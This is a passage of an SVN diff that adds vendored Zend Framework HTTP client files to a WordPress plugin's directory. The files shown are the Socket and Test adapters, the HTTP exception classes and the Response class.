+            STREAM_CRYPTO_METHOD_SSLv3_CLIENT,
+            STREAM_CRYPTO_METHOD_SSLv23_CLIENT,
+            STREAM_CRYPTO_METHOD_SSLv2_CLIENT 
+        );
+        
+        $success = false; 
+        foreach($modes as $mode) {
+            $success = stream_socket_enable_crypto($this->socket, true, $mode);
+            if ($success) break;
+        }
+        
+        if (! $success) {
+                require_once 'Zend/Http/Client/Adapter/Exception.php';
+                throw new Zend_Http_Client_Adapter_Exception("Unable to connect to" . 
+                    " HTTPS server through proxy: could not negotiate secure connection.");
+        }
+    }
+    
+    /**
+     * Close the connection to the server
+     *
+     */
+    public function close()
+    {
+        parent::close();
+        $this->negotiated = false;
+    }
+    
+    /**
+     * Destructor: make sure the socket is disconnected
+     *
+     */
+    public function __destruct()
+    {
+        if ($this->socket) $this->close();
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Socket.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Socket.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Socket.php	(revision 44)
@@ -0,0 +1,353 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter
+ * @version    $Id: Socket.php 13013 2008-12-04 12:04:24Z yoshida@zend.co.jp $
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+require_once 'Zend/Uri/Http.php';
+require_once 'Zend/Http/Client/Adapter/Interface.php';
+
+/**
+ * A sockets based (stream_socket_client) adapter class for Zend_Http_Client. Can be used
+ * on almost every PHP environment, and does not require any special extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Http_Client_Adapter_Socket implements Zend_Http_Client_Adapter_Interface
+{
+    /**
+     * The socket for server connection
+     *
+     * @var resource|null
+     */
+    protected $socket = null;
+
+    /**
+     * What host/port are we connected to?
+     *
+     * @var array
+     */
+    protected $connected_to = array(null, null);
+
+    /**
+     * Parameters array
+     *
+     * @var array
+     */
+    protected $config = array(
+        'persistent'    => false,
+        'ssltransport'  => 'ssl',
+        'sslcert'       => null,
+        'sslpassphrase' => null
+    );
+
+    /**
+     * Request method - will be set by write() and might be used by read()
+     *
+     * @var string
+     */
+    protected $method = null;
+
+    /**
+     * Adapter constructor, currently empty. Config is set using setConfig()
+     *
+     */
+    public function __construct()
+    {
+    }
+
+    /**
+     * Set the configuration array for the adapter
+     *
+     * @param array $config
+     */
+    public function setConfig($config = array())
+    {
+        if (! is_array($config)) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception(
+                '$concig expects an array, ' . gettype($config) . ' recieved.');
+        }
+
+        foreach ($config as $k => $v) {
+            $this->config[strtolower($k)] = $v;
+        }
+    }
+
+    /**
+     * Connect to the remote server
+     *
+     * @param string  $host
+     * @param int     $port
+     * @param boolean $secure
+     * @param int     $timeout
+     */
+    public function connect($host, $port = 80, $secure = false)
+    {
+        // If the URI should be accessed via SSL, prepend the Hostname with ssl://
+        $host = ($secure ? $this->config['ssltransport'] : 'tcp') . '://' . $host;
+
+        // If we are connected to the wrong host, disconnect first
+        if (($this->connected_to[0] != $host || $this->connected_to[1] != $port)) {
+            if (is_resource($this->socket)) $this->close();
+        }
+
+        // Now, if we are not connected, connect
+        if (! is_resource($this->socket) || ! $this->config['keepalive']) {
+            $context = stream_context_create();
+            if ($secure) {
+                if ($this->config['sslcert'] !== null) {
+                    if (! stream_context_set_option($context, 'ssl', 'local_cert',
+                                                    $this->config['sslcert'])) {
+                        require_once 'Zend/Http/Client/Adapter/Exception.php';
+                        throw new Zend_Http_Client_Adapter_Exception('Unable to set sslcert option');
+                    }
+                }
+                if ($this->config['sslpassphrase'] !== null) {
+                    if (! stream_context_set_option($context, 'ssl', 'passphrase',
+                                                    $this->config['sslpassphrase'])) {
+                        require_once 'Zend/Http/Client/Adapter/Exception.php';
+                        throw new Zend_Http_Client_Adapter_Exception('Unable to set sslpassphrase option');
+                    }
+                }
+            }
+
+            $flags = STREAM_CLIENT_CONNECT;
+            if ($this->config['persistent']) $flags |= STREAM_CLIENT_PERSISTENT;
+
+            $this->socket = @stream_socket_client($host . ':' . $port,
+                                                  $errno,
+                                                  $errstr,
+                                                  (int) $this->config['timeout'],
+                                                  $flags,
+                                                  $context);
+            if (! $this->socket) {
+                $this->close();
+                require_once 'Zend/Http/Client/Adapter/Exception.php';
+                throw new Zend_Http_Client_Adapter_Exception(
+                    'Unable to Connect to ' . $host . ':' . $port . '. Error #' . $errno . ': ' . $errstr);
+            }
+
+            // Set the stream timeout
+            if (! stream_set_timeout($this->socket, (int) $this->config['timeout'])) {
+                require_once 'Zend/Http/Client/Adapter/Exception.php';
+                throw new Zend_Http_Client_Adapter_Exception('Unable to set the connection timeout');
+            }
+
+            // Update connected_to
+            $this->connected_to = array($host, $port);
+        }
+    }
+
+    /**
+     * Send request to the remote server
+     *
+     * @param string        $method
+     * @param Zend_Uri_Http $uri
+     * @param string        $http_ver
+     * @param array         $headers
+     * @param string        $body
+     * @return string Request as string
+     */
+    public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '')
+    {
+        // Make sure we're properly connected
+        if (! $this->socket) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception('Trying to write but we are not connected');
+        }
+
+        $host = $uri->getHost();
+        $host = (strtolower($uri->getScheme()) == 'https' ? $this->config['ssltransport'] : 'tcp') . '://' . $host;
+        if ($this->connected_to[0] != $host || $this->connected_to[1] != $uri->getPort()) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception('Trying to write but we are connected to the wrong host');
+        }
+
+        // Save request method for later
+        $this->method = $method;
+
+        // Build request headers
+        $path = $uri->getPath();
+        if ($uri->getQuery()) $path .= '?' . $uri->getQuery();
+        $request = "{$method} {$path} HTTP/{$http_ver}\r\n";
+        foreach ($headers as $k => $v) {
+            if (is_string($k)) $v = ucfirst($k) . ": $v";
+            $request .= "$v\r\n";
+        }
+
+        // Add the request body
+        $request .= "\r\n" . $body;
+
+        // Send the request
+        if (! @fwrite($this->socket, $request)) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception('Error writing request to server');
+        }
+
+        return $request;
+    }
+
+    /**
+     * Read response from server
+     *
+     * @return string
+     */
+    public function read()
+    {
+        // First, read headers only
+        $response = '';
+        $gotStatus = false;
+        while (($line = @fgets($this->socket)) !== false) {
+            $gotStatus = $gotStatus || (strpos($line, 'HTTP') !== false);
+            if ($gotStatus) {
+                $response .= $line;
+                if (rtrim($line) === '') break;
+            }
+        }
+
+        $statusCode = Zend_Http_Response::extractCode($response);
+
+        // Handle 100 and 101 responses internally by restarting the read again
+        if ($statusCode == 100 || $statusCode == 101) return $this->read();
+
+        /**
+         * Responses to HEAD requests and 204 or 304 responses are not expected
+         * to have a body - stop reading here
+         */
+        if ($statusCode == 304 || $statusCode == 204 ||
+            $this->method == Zend_Http_Client::HEAD) return $response;
+
+        // Check headers to see what kind of connection / transfer encoding we have
+        $headers = Zend_Http_Response::extractHeaders($response);
+
+        // If we got a 'transfer-encoding: chunked' header
+        if (isset($headers['transfer-encoding'])) {
+            if ($headers['transfer-encoding'] == 'chunked') {
+                do {
+                    $line  = @fgets($this->socket);
+                    $chunk = $line;
+
+                    // Figure out the next chunk size
+                    $chunksize = trim($line);
+                    if (! ctype_xdigit($chunksize)) {
+                        $this->close();
+                        require_once 'Zend/Http/Client/Adapter/Exception.php';
+                        throw new Zend_Http_Client_Adapter_Exception('Invalid chunk size "' .
+                            $chunksize . '" unable to read chunked body');
+                    }
+
+                    // Convert the hexadecimal value to plain integer
+                    $chunksize = hexdec($chunksize);
+
+                    // Read chunk
+                    $left_to_read = $chunksize;
+                    while ($left_to_read > 0) {
+                        $line = @fread($this->socket, $left_to_read);
+                        if ($line === false || strlen($line) === 0)
+                        {
+                            break;
+                        } else {
+                            $chunk .= $line;
+                            $left_to_read -= strlen($line);
+                        }
+
+                        // Break if the connection ended prematurely
+                        if (feof($this->socket)) break;
+                    }
+
+                    $chunk .= @fgets($this->socket);
+                    $response .= $chunk;
+                } while ($chunksize > 0);
+
+            } else {
+                throw new Zend_Http_Client_Adapter_Exception('Cannot handle "' .
+                    $headers['transfer-encoding'] . '" transfer encoding');
+            }
+
+        // Else, if we got the content-length header, read this number of bytes
+        } elseif (isset($headers['content-length'])) {
+            $left_to_read = $headers['content-length'];
+            $chunk = '';
+            while ($left_to_read > 0) {
+                $chunk = @fread($this->socket, $left_to_read);
+                if ($chunk === false || strlen($chunk) === 0)
+                {
+                    break;
+                } else {
+                    $left_to_read -= strlen($chunk);
+                    $response .= $chunk;
+                }
+
+                // Break if the connection ended prematurely
+                if (feof($this->socket)) break;
+            }
+
+        // Fallback: just read the response until EOF
+        } else {
+        	do {
+        		$buff = @fread($this->socket, 8192);
+        		if ($buff === false || strlen($buff) === 0)
+        		{
+        			break;
+        		} else {
+                    $response .= $buff;
+        		}
+        	} while (feof($this->socket) === false);
+
+            $this->close();
+        }
+
+        // Close the connection if requested to do so by the server
+        if (isset($headers['connection']) && $headers['connection'] == 'close') {
+            $this->close();
+        }
+
+        return $response;
+    }
+
+    /**
+     * Close the connection to the server
+     *
+     */
+    public function close()
+    {
+        if (is_resource($this->socket)) @fclose($this->socket);
+        $this->socket = null;
+        $this->connected_to = array(null, null);
+    }
+
+    /**
+     * Destructor: make sure the socket is disconnected
+     *
+     * If we are in persistent TCP mode, will not close the connection
+     *
+     */
+    public function __destruct()
+    {
+        if (! $this->config['persistent']) {
+            if ($this->socket) $this->close();
+        }
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Test.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Test.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Test.php	(revision 44)
@@ -0,0 +1,193 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter
+ * @version    $Id: Test.php 12104 2008-10-23 22:36:28Z shahar $
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+require_once 'Zend/Uri/Http.php';
+require_once 'Zend/Http/Response.php';
+require_once 'Zend/Http/Client/Adapter/Interface.php';
+
+/**
+ * A testing-purposes adapter.
+ *
+ * Should be used to test all components that rely on Zend_Http_Client,
+ * without actually performing an HTTP request. You should instantiate this
+ * object manually, and then set it as the client's adapter. Then, you can
+ * set the expected response using the setResponse() method.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Http_Client_Adapter_Test implements Zend_Http_Client_Adapter_Interface
+{
+    /**
+     * Parameters array
+     *
+     * @var array
+     */
+    protected $config = array();
+
+    /**
+     * Buffer of responses to be returned by the read() method.  Can be
+     * set using setResponse() and addResponse().
+     *
+     * @var array
+     */
+    protected $responses = array("HTTP/1.1 400 Bad Request\r\n\r\n");
+
+    /**
+     * Current position in the response buffer
+     *
+     * @var integer
+     */
+    protected $responseIndex = 0;
+
+    /**
+     * Adapter constructor, currently empty. Config is set using setConfig()
+     *
+     */
+    public function __construct()
+    { }
+
+    /**
+     * Set the configuration array for the adapter
+     *
+     * @param array $config
+     */
+    public function setConfig($config = array())
+    {
+        if (! is_array($config)) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception(
+                '$config expects an array, ' . gettype($config) . ' recieved.');
+        }
+
+        foreach ($config as $k => $v) {
+            $this->config[strtolower($k)] = $v;
+        }
+    }
+
+    /**
+     * Connect to the remote server
+     *
+     * @param string  $host
+     * @param int     $port
+     * @param boolean $secure
+     * @param int     $timeout
+     */
+    public function connect($host, $port = 80, $secure = false)
+    { }
+
+    /**
+     * Send request to the remote server
+     *
+     * @param string        $method
+     * @param Zend_Uri_Http $uri
+     * @param string        $http_ver
+     * @param array         $headers
+     * @param string        $body
+     * @return string Request as string
+     */
+    public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '')
+    {
+        $host = $uri->getHost();
+            $host = (strtolower($uri->getScheme()) == 'https' ? 'sslv2://' . $host : $host);
+
+        // Build request headers
+        $path = $uri->getPath();
+        if ($uri->getQuery()) $path .= '?' . $uri->getQuery();
+        $request = "{$method} {$path} HTTP/{$http_ver}\r\n";
+        foreach ($headers as $k => $v) {
+            if (is_string($k)) $v = ucfirst($k) . ": $v";
+            $request .= "$v\r\n";
+        }
+
+        // Add the request body
+        $request .= "\r\n" . $body;
+
+        // Do nothing - just return the request as string
+
+        return $request;
+    }
+
+    /**
+     * Return the response set in $this->setResponse()
+     *
+     * @return string
+     */
+    public function read()
+    {
+        if ($this->responseIndex >= count($this->responses)) {
+            $this->responseIndex = 0;
+        }
+        return $this->responses[$this->responseIndex++];
+    }
+
+    /**
+     * Close the connection (dummy)
+     *
+     */
+    public function close()
+    { }
+
+    /**
+     * Set the HTTP response(s) to be returned by this adapter
+     *
+     * @param Zend_Http_Response|array|string $response
+     */
+    public function setResponse($response)
+    {
+        if ($response instanceof Zend_Http_Response) {
+            $response = $response->asString();
+        }
+
+        $this->responses = (array)$response;
+        $this->responseIndex = 0;
+    }
+
+    /**
+     * Add another response to the response buffer.
+     *
+     * @param string $response
+     */
+    public function addResponse($response)
+    {
+        $this->responses[] = $response;
+    }
+
+    /**
+     * Sets the position of the response buffer.  Selects which
+     * response will be returned on the next call to read().
+     *
+     * @param integer $index
+     */
+    public function setResponseIndex($index)
+    {
+        if ($index < 0 || $index >= count($this->responses)) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception(
+                'Index out of range of response buffer size');
+        }
+        $this->responseIndex = $index;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Exception.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Exception.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Exception.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Exception
+ * @version    $Id: Exception.php 8064 2008-02-16 10:58:39Z thomas $
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+require_once 'Zend/Http/Exception.php';
+
+/**
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Http_Client_Exception extends Zend_Http_Exception
+{}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Exception.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Exception.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Exception.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Exception
+ * @version    $Id: Exception.php 8064 2008-02-16 10:58:39Z thomas $
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+require_once 'Zend/Exception.php';
+
+/**
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Http_Exception extends Zend_Exception
+{}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Response.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Response.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Response.php	(revision 44)
@@ -0,0 +1,624 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Response
+ * @version    $Id: Response.php 12519 2008-11-10 18:41:24Z alexander $
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Http_Response represents an HTTP 1.0 / 1.1 response message. It
+ * includes easy access to all the response's different elemts, as well as some
+ * convenience methods for parsing and validating HTTP responses.
+ *
+ * @package    Zend_Http
+ * @subpackage Response
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Http_Response
+{
+    /**
+     * List of all known HTTP response codes - used by responseCodeAsText() to
+     * translate numeric codes to messages.
+     *
+     * @var array
+     */
+    protected static $messages = array(
+        // Informational 1xx
+        100 => 'Continue',
+        101 => 'Switching Protocols',
+
+        // Success 2xx
+        200 => 'OK',
+        201 => 'Created',
+        202 => 'Accepted',
+        203 => 'Non-Authoritative Information',
+        204 => 'No Content',
+        205 => 'Reset Content',
+        206 => 'Partial Content',
+
+        // Redirection 3xx
+        300 => 'Multiple Choices',
+        301 => 'Moved Permanently',
+        302 => 'Found',  // 1.1
+        303 => 'See Other',
+        304 => 'Not Modified',
+        305 => 'Use Proxy',
+        // 306 is deprecated but reserved
+        307 => 'Temporary Redirect',
+
+        // Client Error 4xx
+        400 => 'Bad Request',
+        401 => 'Unauthorized',
+        402 => 'Payment Required',
+        403 => 'Forbidden',
+        404 => 'Not Found',
+        405 => 'Method Not Allowed',
+        406 => 'Not Acceptable',
+        407 => 'Proxy Authentication Required',
+        408 => 'Request Timeout',
+        409 => 'Conflict',
+        410 => 'Gone',
+        411 => 'Length Required',
+        412 => 'Precondition Failed',
+        413 => 'Request Entity Too Large',
+        414 => 'Request-URI Too Long',
+        415 => 'Unsupported Media Type',
+        416 => 'Requested Range Not Satisfiable',
+        417 => 'Expectation Failed',
+
+        // Server Error 5xx
+        500 => 'Internal Server Error',
+        501 => 'Not Implemented',
+        502 => 'Bad Gateway',
+        503 => 'Service Unavailable',
+        504 => 'Gateway Timeout',
+        505 => 'HTTP Version Not Supported',
+        509 => 'Bandwidth Limit Exceeded'
+    );
+
+    /**
+     * The HTTP version (1.0, 1.1)
+     *
+     * @var string
+     */
+    protected $version;
+
+    /**
+     * The HTTP response code
+     *
+     * @var int
+     */
+    protected $code;
+
+    /**
+     * The HTTP response code as string
+     * (e.g. 'Not Found' for 404 or 'Internal Server Error' for 500)
+     *
+     * @var string
+     */
+    protected $message;
+
+    /**
+     * The HTTP response headers array
+     *
+     * @var array
+     */
+    protected $headers = array();
+
+    /**
+     * The HTTP response body
+     *
+     * @var string
+     */
+    protected $body;
+
+    /**
+     * HTTP response constructor
+     *
+     * In most cases, you would use Zend_Http_Response::fromString to parse an HTTP
+     * response string and create a new Zend_Http_Response object.
+     *
+     * NOTE: The constructor no longer accepts nulls or empty values for the code and
+     * headers and will throw an exception if the passed values do not form a valid HTTP
+     * responses.
+     *
+     * If no message is passed, the message will be guessed according to the response code.
+     *
+     * @param int $code Response code (200, 404, ...)
+     * @param array $headers Headers array
+     * @param string $body Response body
+     * @param string $version HTTP version
+     * @param string $message Response code as text
+     * @throws Zend_Http_Exception
+     */
+    public function __construct($code, $headers, $body = null, $version = '1.1', $message = null)
+    {
+        // Make sure the response code is valid and set it
+        if (self::responseCodeAsText($code) === null) {
+            require_once 'Zend/Http/Exception.php';
+            throw new Zend_Http_Exception("{$code} is not a valid HTTP response code");
+        }
+
+        $this->code = $code;
+
+        // Make sure we got valid headers and set them
+        if (! is_array($headers)) {
+            require_once 'Zend/Http/Exception.php';
+            throw new Zend_Http_Exception('No valid headers were passed');
+    }
+
+        foreach ($headers as $name => $value) {
+            if (is_int($name))
+                list($name, $value) = explode(": ", $value, 1);
+
+            $this->headers[ucwords(strtolower($name))] = $value;
+        }
+
+        // Set the body
+        $this->body = $body;
+
+        // Set the HTTP version
+        if (! preg_match('|^\d\.\d$|', $version)) {
+            require_once 'Zend/Http/Exception.php';
+            throw new Zend_Http_Exception("Invalid HTTP response version: $version");
+        }
+
+        $this->version = $version;
+
+        // If we got the response message, set it. Else, set it according to
+        // the response code
+        if (is_string($message)) {
+            $this->message = $message;
+        } else {
+            $this->message = self::responseCodeAsText($code);
+        }
+    }
+
+    /**
+     * Check whether the response is an error
+     *
+     * @return boolean
+     */
+    public function isError()
+    {
+        $restype = floor($this->code / 100);
+        if ($restype == 4 || $restype == 5) {
+            return true;
+        }
+
+        return false;
+    }
+
+    /**
+     * Check whether the response in successful
+     *
+     * @return boolean
+     */
+    public function isSuccessful()
+    {
+        $restype = floor($this->code / 100);
+        if ($restype == 2 || $restype == 1) { // Shouldn't 3xx count as success as well ???
+            return true;
+        }
+
+        return false;
+    }
+
+    /**
+     * Check whether the response is a redirection
+     *
+     * @return boolean
+     */
+    public function isRedirect()
+    {
+        $restype = floor($this->code / 100);
+        if ($restype == 3) {
+            return true;
+        }
+
+        return false;
+    }
+
+    /**
+     * Get the response body as string
+     *
+     * This method returns the body of the HTTP response (the content), as it
+     * should be in it's readable version - that is, after decoding it (if it
+     * was decoded), deflating it (if it was gzip compressed), etc.
+     *
+     * If you want to get the raw body (as transfered on wire) use
+     * $this->getRawBody() instead.
+     *
+     * @return string
+     */
+    public function getBody()
+    {
+        $body = '';
+
+        // Decode the body if it was transfer-encoded
+        switch ($this->getHeader('transfer-encoding')) {
+
+            // Handle chunked body
+            case 'chunked':
+                $body = self::decodeChunkedBody($this->body);
+                break;
+
+            // No transfer encoding, or unknown encoding extension:
+            // return body as is
+            default:
+                $body = $this->body;
+                break;
+        }
+
+        // Decode any content-encoding (gzip or deflate) if needed
+        switch (strtolower($this->getHeader('content-encoding'))) {
+
+            // Handle gzip encoding
+            case 'gzip':
+                $body = self::decodeGzip($body);
+                break;
+
+            // Handle deflate encoding
+            case 'deflate':
+                $body = self::decodeDeflate($body);
+                break;
+
+            default:
+                break;
+        }
+
+        return $body;
+    }
+
+    /**
+     * Get the raw response body (as transfered "on wire") as string
+     *
+     * If the body is encoded (with Transfer-Encoding, not content-encoding -
+     * IE "chunked" body), gzip compressed, etc. it will not be decoded.
+     *
+     * @return string
+     */
+    public function getRawBody()
+    {
+        return $this->body;
+    }
+
+    /**
+     * Get the HTTP version of the response
+     *
+     * @return string
+     */
+    public function getVersion()
+    {
+        return $this->version;
+    }
+
+    /**
+     * Get the HTTP response status code
+     *
+     * @return int
+     */
+    public function getStatus()
+    {
+        return $this->code;
+    }
+
+    /**
+     * Return a message describing the HTTP response code
+     * (Eg. "OK", "Not Found", "Moved Permanently")
+     *
+     * @return string
+     */
+    public function getMessage()
+    {
+        return $this->message;
+    }
+
+    /**
+     * Get the response headers
+     *
+     * @return array
+     */
+    public function getHeaders()
+    {
+        return $this->headers;
+    }
+
+    /**
+     * Get a specific header as string, or null if it is not set
+     *
+     * @param string$header
+     * @return string|array|null
+     */
+    public function getHeader($header)
+    {
+        $header = ucwords(strtolower($header));
+        if (! is_string($header) || ! isset($this->headers[$header])) return null;
+
+        return $this->headers[$header];
+    }
+
+    /**
+     * Get all headers as string
+     *
+     * @param boolean $status_line Whether to return the first status line (IE "HTTP 200 OK")
+     * @param string $br Line breaks (eg. "\n", "\r\n", "<br />")
+     * @return string
+     */
+    public function getHeadersAsString($status_line = true, $br = "\n")
+    {
+        $str = '';
+
+        if ($status_line) {
+            $str = "HTTP/{$this->version} {$this->code} {$this->message}{$br}";
+        }
+
+        // Iterate over the headers and stringify them
+        foreach ($this->headers as $name => $value)
+        {
+            if (is_string($value))
+                $str .= "{$name}: {$value}{$br}";
+
+            elseif (is_array($value)) {
+                foreach ($value as $subval) {
+                    $str .= "{$name}: {$subval}{$br}";
+                }
+            }
+        }
+
+        return $str;
+    }
+
+    /**
+     * Get the entire response as string
+     *
+     * @param string $br Line breaks (eg. "\n", "\r\n", "<br />")
+     * @return string
+     */
+    public function asString($br = "\n")
+    {
+        return $this->getHeadersAsString(true, $br) . $br . $this->getRawBody();
+    }
+
+    /**
+     * A convenience function that returns a text representation of
+     * HTTP response codes. Returns 'Unknown' for unknown codes.
+     * Returns array of all codes, if $code is not specified.
+     *
+     * Conforms to HTTP/1.1 as defined in RFC 2616 (except for 'Unknown')
+     * See http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10 for reference
+     *
+     * @param int $code HTTP response code
+     * @param boolean $http11 Use HTTP version 1.1
+     * @return string
+     */
+    public static function responseCodeAsText($code = null, $http11 = true)
+    {
+        $messages = self::$messages;
+        if (! $http11) $messages[302] = 'Moved Temporarily';
+
+        if ($code === null) {
+            return $messages;
+        } elseif (isset($messages[$code])) {
+            return $messages[$code];
+        } else {
+            return 'Unknown';
+        }
+    }
+
+    /**
+     * Extract the response code from a response string
+     *
+     * @param string $response_str
+     * @return int
+     */
+    public static function extractCode($response_str)
+    {
+        preg_match("|^HTTP/[\d\.x]+ (\d+)|", $response_str, $m);
+
+        if (isset($m[1])) {
+            return (int) $m[1];
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Extract the HTTP message from a response
+     *
+     * @param string $response_str
+     * @return string
+     */
+    public static function extractMessage($response_str)
+    {
+        preg_match("|^HTTP/[\d\.x]+ \d+ ([^\r\n]+)|", $response_str, $m);
+
+        if (isset($m[1])) {
+            return $m[1];
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Extract the HTTP version from a response
+     *
+     * @param string $response_str
+     * @return string
+     */
+    public static function extractVersion($response_str)
+    {
+        preg_match("|^HTTP/([\d\.x]+) \d+|", $response_str, $m);
+
+        if (isset($m[1])) {
+            return $m[1];
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Extract the headers from a response string
+     *
+     * @param string $response_str
+     * @return array
+     */
+    public static function extractHeaders($response_str)
+    {
+        $headers = array();
+        
+        // First, split body and headers
+        $parts = preg_split('|(?:\r?\n){2}|m', $response_str, 2);
+        if (! $parts[0]) return $headers;
+        
+        // Split headers part to lines
+        $lines = explode("\n", $parts[0]);
+        unset($parts);
+        $last_header = null;
+
+        foreach($lines as $line) {
+            $line = trim($line, "\r\n");
+            if ($line == "") break;
+
+            if (preg_match("|^([\w-]+):\s+(.+)|", $line, $m)) {
+                unset($last_header);
+                $h_name = strtolower($m[1]);
+                $h_value = $m[2];
+
+                if (isset($headers[$h_name])) {
+                    if (! is_array($headers[$h_name])) {
+                        $headers[$h_name] = array($headers[$h_name]);
+                    }
+
+                    $headers[$h_name][] = $h_value;
+                } else {
+                    $headers[$h_name] = $h_value;
+                }
+                $last_header = $h_name;
+            } elseif (preg_match("|^\s+(.+)$|", $line, $m) && $last_header !== null) {
+                if (is_array($headers[$last_header])) {
+                    end($headers[$last_header]);
